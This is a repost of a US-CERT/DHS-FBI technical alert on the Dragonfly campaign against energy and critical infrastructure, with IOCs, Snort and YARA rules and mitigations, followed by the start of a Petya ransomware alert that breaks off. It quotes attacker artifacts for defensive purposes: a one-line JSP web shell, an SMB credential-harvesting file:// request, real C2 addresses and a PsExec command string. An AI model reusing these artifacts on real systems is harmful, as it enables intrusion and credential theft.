Martijn Lammerts
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TA17-293A: Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors

20 October 2017
Original release date: October 20, 2017

Systems Affected

  • Domain Controllers
  • File Servers
  • Email Servers

Overview

This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on advanced persistent threat (APT) actions targeting government entities and organizations in the energy, nuclear, water, aviation, and critical manufacturing sectors. Working with U.S. and international partners, DHS and FBI identified victims in these sectors. This report contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by APT actors on compromised victims’ networks.

DHS assesses this activity as a multi-stage intrusion campaign by threat actors targeting low security and small networks to gain access and move laterally to networks of major, high value asset owners within the energy sector. Based on malware analysis and observed IOCs, DHS has confidence that this campaign is still ongoing, and threat actors are actively pursuing their ultimate objectives over a long-term campaign. The intent of this product is to educate network defenders and enable them to identify and reduce exposure to malicious activity.

Available files:

Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.

Additional information related to TA17-293A - Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors is available to authorized users of the NCCIC Portal on the Homeland Security Information Network. The NCCIC Portal provides a secure, web-based, collaborative system to share sensitive, cyber-related information and news with participants in the public and private sector. Information available to visitors is governed by the Traffic Light Protocol, used to ensure that sensitive information is shared with the appropriate audience. Supplementary information on TA17-293A is designated TLP:AMBER. For information on how to access the NCCIC Portal, email NCCICcustomerservice@hq.dhs.gov or call 888-282-0870.

Description

Since at least May 2017, threat actors have targeted government entities and the energy, water, aviation, nuclear, and critical manufacturing sectors, and, in some cases, have leveraged their capabilities to compromise victims’ networks. Historically, cyber threat actors have targeted the energy sector with various results, ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict. [1] Historically, threat actors have also targeted other critical infrastructure sectors with similar campaigns.

Analysis by DHS, FBI, and trusted partners has identified distinct indicators and behaviors related to this activity. Of specific note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [2]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third party suppliers with less secure networks. The initial victims are referred to as “staging targets” throughout this alert. The threat actor uses the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. The ultimate objective of the cyber threat actors is to compromise organizational networks, which are referred throughout this alert as “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including:

  • open-source reconnaissance,
  • spear-phishing emails (from compromised legitimate accounts),
  • watering-hole domains,
  • host-based exploitation,
  • industrial control system (ICS) infrastructure targeting, and
  • ongoing credential gathering.

Using Cyber Kill Chain for Analysis

DHS leveraged the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of activity within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. It is known that threat actors are actively accessing publicly available information hosted by organization-monitored networks. DHS further assesses that threat actors are seeking to identify information pertaining to network and organizational design, as well as control system capabilities, within organizations.

Forensic analysis identified that threat actors are conducting open-source reconnaissance of their targets, gathering information posted on company-controlled websites. This is a common tactic for collecting the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publically accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging target networks to conduct open-source reconnaissance to identify potential targets of interest and intended targets. “Targets of interest” refers to organizations that DHS observed the threat actors showing an active interest in, but where no compromise was reported. Specifically, the threat actors accessed publically web-based remote access infrastructure such as websites, remote email access portals, and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, threat actors used email attachments to leverage legitimate Microsoft Office functions to retrieve a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server prior to retrieving the requested file. (Note: It is not necessary for the file to be retrieved for the transfer of credentials to occur.) The threat actors then likely used password-cracking techniques to obtain the plaintext password. Once actors obtain valid credentials, they are able to masquerade as authorized users.

Stage 3: Delivery

When seeking to compromise the target network, threat actors used a spear-phishing email campaign that differed from previously reported TTPs. The spear-phishing email used a generic contract agreement theme, with the subject line “AGREEMENT & Confidential”, and which contained a generic PDF document, titled “’’document.pdf”. (Note the inclusion of two single apostrophes at the beginning of the attachment name.) The PDF itself was not malicious and did not contain any active code. The document prompted the user to click on a link should a download not automatically begin. (Note: No code within the PDF initiated a download.) The link directs users to a website via a shortened URL, which may prompt them to retrieve a malicious file.

In previous reporting, DHS and FBI identified the common themes used in these spear-phishing emails, all emails referred to control systems or process control systems. The threat actors continue to use these themes, specifically against intended target organizations. Email messages include references to common industrial control equipment and protocols. The emails leveraged malicious Microsoft Word attachments that appear to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, as well as invitations and policy documents that entice the user to open the attachment. The list of file names has been published in the IOC.

Stage 4: Exploitation

Threat actors used distinct and unusual TTPs (i.e., successive redirects) in the phishing campaign directed at staging targets. Emails contained a stacked URL-shortening link that directed the user to http://bit[.]ly/2m0x8IH link, which redirected the user to http://tinyurl[.]com/h3sdqck link, which redirected the user to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained an email address and password input fields mimicking a login page for a website.

When exploiting the intended targets, threat actors used malicious .docx files to capture user credentials, however, DHS did not observe the actors establishing persistence on the user’s system. The documents attempt to retrieve a file through a “file:\\” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139 and User Datagram Protocol (UDP) ports 137 or 138. This connection is made to a command and control (C2) server — either a server owned by the threat actors or that of a compromised system owned by a staging location victim. When a user is authenticated as a domain user, this will provide the C2 server with the hash of the victim. Local users will receive a graphical user interface (GUI) prompt to enter a username and password. This information will be provided to the C2 over TCP ports 445 or 139 and UDP ports 137 or 138. (Note: A file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [3]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets is to develop watering holes. The threat actors compromise the infrastructure of trusted organizations to reach intended targets. [4] Although these watering holes may host legitimate content by reputable organizations, the threat actors have altered them to contain and reference malicious content. Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure.

Using a similar SMB collection technique, the actors manipulated these websites by altering JavaScript and PHP files that redirect to an IP address on port 445 for credential harvesting. The compromised sites include both custom developed web applications and template-based frameworks. The threat actors injected a line of code into header.php, a legitimate PHP file that carried out the redirected traffic.

There is no indication that threat actors used zero-day exploits to manipulate the sites; the threat actors more likely used legitimate credentials to access the website content directly.

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication is not used. [5] Once inside of an intended target’s network, the threat actors downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

  • The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
  • The files were renamed to new extensions, with INST.txt being renamed INST.exe.
  • The files were executed on the host and then immediately deleted.
  • The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of a compromised system of an intended target.

In their report on Dragonfly, Symantec associated the MD5 hash of INST.exe to Backdoor.Goodor. The MD5 hashes for the previously mentioned files can be found in the IOC list above.

Several of these files were scripts that were used for creating the initial account leveraged by the threat actors. The initial script symantec_help.jsp contained a one-line reference to a malicious script. It was located at C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\.

Contents of symantec_help.jsp

____________________________________________________________________________________________________________________

<% Runtime.getRuntime().exec("cmd /C \"" + System.getProperty("user.dir") + "\\..\\webapps\\ROOT\\<REDACTED SCRIPT NAME>\""); %>

____________________________________________________________________________________________________________________

The malicious script created a user account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group for elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.

In addition, the threat actors also created a scheduled task “reset”, which was designed to automatically log out of their newly created account every eight hours.

Contents of Scheduled Task

____________________________________________________________________________________________________________________

<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">

 <RegistrationInfo>

  <Date>2017-06-25T11:51:17.4848488</Date>

  <Author><REDACTED></Author>

 </RegistrationInfo>

 <Triggers>

  <TimeTrigger>

   <StartBoundary>2017-06-25T12:30:29</StartBoundary>

   <Enabled>true</Enabled>

  </TimeTrigger>

 </Triggers>

 <Principals>

  <Principal id="Author">

   <RunLevel>LeastPrivilege</RunLevel>

   <UserId><REDACTED USERNAME></UserId>

   <LogonType>InteractiveToken</LogonType>

  </Principal>

 </Principals>

 <Settings>

  <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>

  <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>

  <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>

  <AllowHardTerminate>true</AllowHardTerminate>

  <StartWhenAvailable>false</StartWhenAvailable>

  <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>

  <IdleSettings>

   <StopOnIdleEnd>true</StopOnIdleEnd>

   <RestartOnIdle>false</RestartOnIdle>

  </IdleSettings>

  <AllowStartOnDemand>true</AllowStartOnDemand>

  <Enabled>true</Enabled>

  <Hidden>false</Hidden>

  <RunOnlyIfIdle>false</RunOnlyIfIdle>

  <WakeToRun>false</WakeToRun>

  <ExecutionTimeLimit>P3D</ExecutionTimeLimit>

  <Priority>7</Priority>

 </Settings>

 <Actions Context="Author">

  <Exec>

   <Command>logoff</Command>

  </Exec>

 </Actions>

</Task>

____________________________________________________________________________________________________________________

After achieving access to staging targets, the threat actors installed tools to carry out their mission. On one occasion, threat actors installed the free version of Forticlient, which was presumably used as a VPN client for intended targets.

Consistent with the perceived goal of credential harvesting, the threat actor was observed dropping and executing open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the threat actor was accessing the system. Of note, the threat actor installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\. In the previous folder structure, a subfolder named “out” held multiple text files.

Persistence Through .LNK File Manipulation

The threat actors manipulated .lnk files to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to their remote controlled server. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection. The threat actors used this tactic in both Virtual Desktop Infrastructure (VDI) and traditional environments.

Parsed output for file: SETROUTE.lnk

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Three of the observed .lnk files were SETROUTE.lnk, notepad.exe.lnk, and Document.lnk. These names appear to be contextual, and threat actors may use a variety of other file names within this tactic. Two of the remote servers observed in these .lnk files were 62.8.193[.]206 and 5.153.58[.]45.

Establishing Local Accounts

The threat actors created accounts on the staging target for ongoing operations. These accounts, masquerading as legitimate service accounts, appeared to be tailored to each individual staging target. Each account created by the threat actors served a specific purpose in their operation. DHS and FBI identified the creation of four local accounts on a compromised server. The server operated as both a domain controller and an email server for a staging target.

Account 1: The threat actors created a local account, which was named to mimic backup services of the staging target. This account was created by the aforementioned malicious script. The threat actors used this account to conduct open-source reconnaissance and remotely access intended targets. This account was also used to remove the Forticlient software.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: The threat actors created Account 3 in the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete the following logs: system, security, terminal services, remote services, and audit. Registry analysis indicated that this activity was likely scripted.

Stage 6: Command and Control

The threat actors commonly use web shells to compromise publically available servers to gain a foothold into internal networks. This activity has been observed on both web and email servers. The threat actors then establish an encrypted connection over port 443 to the web shell. Once connected, the threat actors download additional malicious files from the threat actors’ servers to the publically available server. Two of the web shells (AutoDiscover.aspx and global.aspx) used by the actors are detailed in the accompanying IOC list. Despite having different file names, the MD5 hashes of the two web shells indicated that the two files were the same file. These web shells have been associated with the ciklon_z webshell.

DHS and FBI identified the threat actors leveraging remote access services and infrastructure, such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used staging targets to connect to several intended targets, effectively turning the staging targets into command and control points. To date, it is presumed that the threat actors have targeted services that use single-factor authentication. DHS believes that the threat actors employ this methodology to avoid detection and attribution.

Targeting of ICS and SCADA Infrastructure

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. Specifically, the threat actors focused on identifying and browsing file servers within the intended victim’s network. The threat actors viewed files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were originally named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

In one instance, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. In this same incident, the threat actors created a malicious scheduled task that invoked “scr.exe” with the arguments “scr.jpg”. The MD5 hash of scr.exe matched the MD5 of ScreenUtil, a tool used by the threat actor, as reported in the Symantec Dragonfly 2.0 report.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these APT actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actors TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

Network Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)

___________________________________

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)

________________________________________

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)

_________________________________________

alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)

________________________________________

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)

_________________________________________

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)

__________________________________________

alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
 

YARA Rules

This is a consolidated rule set for malware associated with, consisting of rules written by US-CERT, as well as contributions by trusted partners.

*/

 

rule APT_malware_1

{

meta:

      description = "inveigh pen testing tools & related artifacts"

      author = "US-CERT Code Analysis Team"    

      date = "2017/07/17"

      hash0 = "61C909D2F625223DB2FB858BBDF42A76"

      hash1 = "A07AA521E7CAFB360294E56969EDA5D6"

      hash2 = "BA756DD64C1147515BA2298B6A760260"

      hash3 = "8943E71A8C73B5E343AA9D2E19002373"

      hash4 = "04738CA02F59A5CD394998A99FCD9613"

      hash5 = "038A97B4E2F37F34B255F0643E49FC9D"

      hash6 = "65A1A73253F04354886F375B59550B46"

      hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"

      hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"

      hash9 = "722154A36F32BA10E98020A8AD758A7A"

      hash10 = "4595DBE00A538DF127E0079294C87DA0"

strings:

      $s0 = "file://"

      $s1 = "/ame_icon.png"

      $s2 = "184.154.150.66"

      $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }

      $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }

      $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"

      $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

      $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="

      $s8 = "NlZzSZk="

      $s9 = "WlJTb1q5kaxqZaRnser3sw=="

      $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

      $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"

      $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"

      $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }

      $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }

      $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }

 

 

//inveigh pentesting tools

 

      $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }

 

//specific malicious word document PK archive

 

      $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }

      $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }

      $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

      $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

      $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

      $s22 = "5.153.58.45"

      $s23 = "62.8.193.206"

      $s24 = "/1/ree_stat/p"

      $s25 = "/icon.png"

      $s26 = "/pshare1/icon"

      $s27 = "/notepad.png"

      $s28 = "/pic.png"

      $s29 = "http://bit.ly/2m0x8IH"

     

condition:

      ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)

}

 

rule APT_malware_2

{

meta:

      description = "rule detects malware"

      author = "other"

strings:

      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

      $http_push = "X-mode: push" nocase

      $http_pop = "X-mode: pop" nocase

condition:

      any of them

}

 

rule Query_XML_Code_MAL_DOC_PT_2

{

      meta:

            name= "Query_XML_Code_MAL_DOC_PT_2"

            author = "other"

      strings:

            $zip_magic = { 50 4b 03 04 }

            $dir1 = "word/_rels/settings.xml.rels"

            $bytes = {8c 90 cd 4e eb 30 10 85 d7}

      condition:

            $zip_magic at 0 and $dir1 and $bytes

}

 

rule Query_Javascript_Decode_Function

{

meta:

      name= "Query_Javascript_Decode_Function"

      author = "other"

strings:

      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}

      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}

      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}

      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}

      $func_call="a(\""

condition:

      filesize < 20KB and #func_call > 20 and all of ($decode*)

}

 

rule Query_XML_Code_MAL_DOC

{

meta:

      name= "Query_XML_Code_MAL_DOC"

      author = "other"

strings:

      $zip_magic = { 50 4b 03 04 }

      $dir = "word/_rels/" ascii

      $dir2 = "word/theme/theme1.xml" ascii

      $style = "word/styles.xml" ascii

condition:

      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd

}

Impact

This APT actor’s campaign has affected multiple organizations in the energy, nuclear, water, aviation, construction, and critical manufacturing sectors.

Solution

DHS and FBI encourage network users and administrators to use the following detection and prevention guidelines to help defend against this activity.

Network and Host-based Signatures

DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, and YARA and Snort signatures provided and add the IPs to their watch list to determine whether malicious activity is occurring within their organization. Reviewing network perimeter netflow will help determine whether a network has experienced suspicious activity. Network defenders and malware analysts should use the YARA and Snort signatures provided in the associated YARA and .txt file to identify malicious activity.

Detections and Prevention Measures

  • Users and administrators can detect spear phishing, watering hole, web shell, and remote access activity by comparing all IP addresses and domain names listed in the Appendix to the following locations:
    • network intrusion detection system/network intrusion protection system  logs,
    • web content logs,
    • proxy server logs,
    • domain name server resolution logs,
    • packet capture (PCAP) repositories,
    • firewall logs,
    • workstation Internet browsing history logs,
    • host-based intrusion detection system /host-based intrusion prevention system (HIPS) logs,
    • data loss prevention logs,
    • exchange server logs,
    • user mailboxes,
    • mail filter logs,
    • mail content logs,
    • AV mail logs,
    • OWA logs,
    • Blackberry Enterprise Server logs, and
    • Mobile Device Management logs.
  • To detect the presence of web shells on external-facing servers, compare IP addresses, filenames, and file hashes listed in the Appendix with the following locations:
    • application logs,
    • IIS/Apache logs,
    • file system,
    • intrusion detection system/ intrusion prevention system logs,
    • PCAP repositories,
    • firewall logs, and
    • reverse proxy.
  • Detect spear-phishing by searching workstation file systems, as well as network-based user directories, for attachment filenames and hashes found in the Appendix.
  • Detect persistence in VDI environments by searching file shares containing user profiles for all .lnk files.
  • Detect evasion techniques by the threat actors by identifying deleted logs. This can be done by reviewing last-seen entries and by searching for event 104 on Windows system logs.
  • Detect persistence by reviewing all administrator accounts on systems to identify unauthorized accounts, especially those created recently.
  • Detect the malicious use of legitimate credentials by reviewing the access times of remotely accessible systems for all users. Any unusual login times should be reviewed by the account owners.
  • Detect the malicious use of legitimate credentials by validating all remote desktop and VPN sessions of any user’s credentials suspected to be compromised.
  • Detect spear-phishing by searching OWA logs for all IP addresses listed in the Appendix.
  • Detect spear-phishing through a network by validating all new email accounts created on mail servers, especially those with external user access.
  • Detect persistence on servers by searching system logs for all filenames listed in the Appendix.
  • Detect lateral movement and privilege escalation by searching PowerShell logs for all filenames ending in “.ps1” contained in the Appendix. (Note: requires PowerShell version 5, and PowerShell logging must be enabled prior to the activity.)
  • Detect persistence by reviewing all installed applications on critical systems for unauthorized applications, specifically note FortiClient VPN and Python 2.7.
  • Detect persistence by searching for the value of “REG_DWORD 100” at registry location “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal”. Services\MaxInstanceCount” and the value of “REG_DWORD 1” at location “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\dontdisplaylastusername”.
  • Detect installation by searching all proxy logs for downloads from URIs without domain names.

General Best Practices Applicable to this Campaign:

  • Prevent external communication of all versions of SMB and related protocols at the network boundary by blocking TCP ports 139 and 445 with related UDP port 137. See the NCCIC/US-CERT publication on SMB Security Best Practices for more information.
  • Block the Web-based Distributed Authoring and Versioning (WebDAV) protocol on border gateway devices on the network.
  • Monitor VPN logs for abnormal activity (e.g., off-hour logins, unauthorized IP address logins, and multiple concurrent logins).
  • Deploy web and email filters on the network. Configure these devices to scan for known bad domain names, sources, and addresses; block these before receiving and downloading messages. This action will help to reduce the attack surface at the network’s first level of defense. Scan all emails, attachments, and downloads (both on the host and at the mail gateway) with a reputable anti-virus solution that includes cloud reputation services.
  • Segment any critical networks or control systems from business systems and networks according to industry best practices.
  • Ensure adequate logging and visibility on ingress and egress points.
  • Ensure the use of PowerShell version 5, with enhanced logging enabled. Older versions of PowerShell do not provide adequate logging of the PowerShell commands an attacker may have executed. Enable PowerShell module logging, script block logging, and transcription. Send the associated logs to a centralized log repository for monitoring and analysis. See the FireEye blog post Greater Visibility through PowerShell Logging for more information.
  • Implement the prevention, detection, and mitigation strategies outlined in the NCCIC/US-CERT Alert TA15-314A – Compromised Web Servers and Web Shells – Threat Awareness and Guidance.
  • Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis, and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.
  • Implement application directory whitelisting. System administrators may implement application or application directory whitelisting through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), SYSTEM32, and any ICS software folders. All other locations should be disallowed unless an exception is granted.
  • Block RDP connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.
  • Store system logs of mission critical systems for at least one year within a security information event management tool.
  • Ensure applications are configured to log the proper level of detail for an incident response investigation.
  • Consider implementing HIPS or other controls to prevent unauthorized code execution.
  • Establish least-privilege controls.
  • Reduce the number of Active Directory domain and enterprise administrator accounts.
  • Based on the suspected level of compromise, reset all user, administrator, and service account credentials across all local and domain systems.
  • Establish a password policy to require complex passwords for all users.
  • Ensure that accounts for network administration do not have external connectivity.
  • Ensure that network administrators use non-privileged accounts for email and Internet access.
  • Use two-factor authentication for all authentication, with special emphasis on any external-facing interfaces and high-risk environments (e.g., remote access, privileged access, and access to sensitive data).
  • Implement a process for logging and auditing activities conducted by privileged accounts.
  • Enable logging and alerting on privilege escalations and role changes.
  • Periodically conduct searches of publically available information to ensure no sensitive information has been disclosed. Review photographs and documents for sensitive data that may have inadvertently been included.
  • Assign sufficient personnel to review logs, including records of alerts.
  • Complete independent security (as opposed to compliance) risk review.
  • Create and participate in information sharing programs.
  • Create and maintain network and system documentation to aid in timely incident response. Documentation should include network diagrams, asset owners, type of asset, and an incident response plan.

Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at NCCICcustomerservice@hq.dhs.gov or 888-282-0870.

References

Revision History

  • October 20, 2017: Initial version

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TA17-181A: Petya Ransomware

1 July 2017
Original release date: July 01, 2017

Systems Affected

Microsoft Windows operating systems

Overview

On June 27, 2017, NCCIC was notified of Petya ransomware events occurring in multiple countries and affecting multiple sectors. Petya ransomware encrypts the master boot records of infected Windows computers, making affected machines unusable.

The NCCIC Code Analysis Team produced a Malware Initial Findings Report (MIFR) to provide in-depth technical analysis of the malware. In coordination with public and private sector partners, NCCIC is also providing additional IOCs in comma-separated-value form for information sharing purposes.

Available Files:

The scope of this Alert’s analysis is limited to the newest “Petya” variant that surfaced June 27, 2017, and this malware is referred to as “Petya” throughout this Alert.

Description

Based on initial reporting, this Petya campaign involves multiple methods of initial infection and propagation, including exploiting vulnerabilities in Server Message Block (SMB). Microsoft released a security update for the MS17-010 vulnerability on March 14, 2017. Background information on ransomware infections is provided in US-CERT Alert TA16-091A.

Technical Details

